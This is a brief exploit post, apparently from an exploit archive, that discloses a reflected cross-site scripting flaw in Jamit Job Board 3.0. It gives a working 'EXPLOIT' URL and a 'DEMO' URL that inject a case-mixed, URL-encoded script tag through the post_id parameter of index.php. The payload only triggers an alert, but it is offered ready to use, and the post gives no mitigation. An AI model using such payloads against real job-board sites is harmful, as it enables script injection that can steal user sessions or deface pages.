Jamit Job Board v.3.0 Cross Scripting Vulnerabilities

=====================================================
Jamit Job Board v.3.0 Cross Scripting Vulnerabilities
=====================================================

Jamit Job Board v.3.0 Cross Scripting Vulnerabilities

##########################################################

[+] Exploit Title: Jamit Job Board v.3
[+] Date: January 09 2010
[+] Author: Crux [mail:[email protected]]
[+] Software Link: http://www.jamit.com/jobs/


[+] Version: 3.0
[+] Tested on: ALL
[+] Dork: NO NO NO!

[ Vulnerable File ]

index.php
(The post variable, post_id)


[ EXPLOIT ]

http://sitename.com/path/post_id=1>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>

[ DEMO ]
http://sitename.com/jobs/[email protected]&mode=view&pin_x=0&pin_y=0&post_id=1>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>




#  0day.today [2018-01-03]  #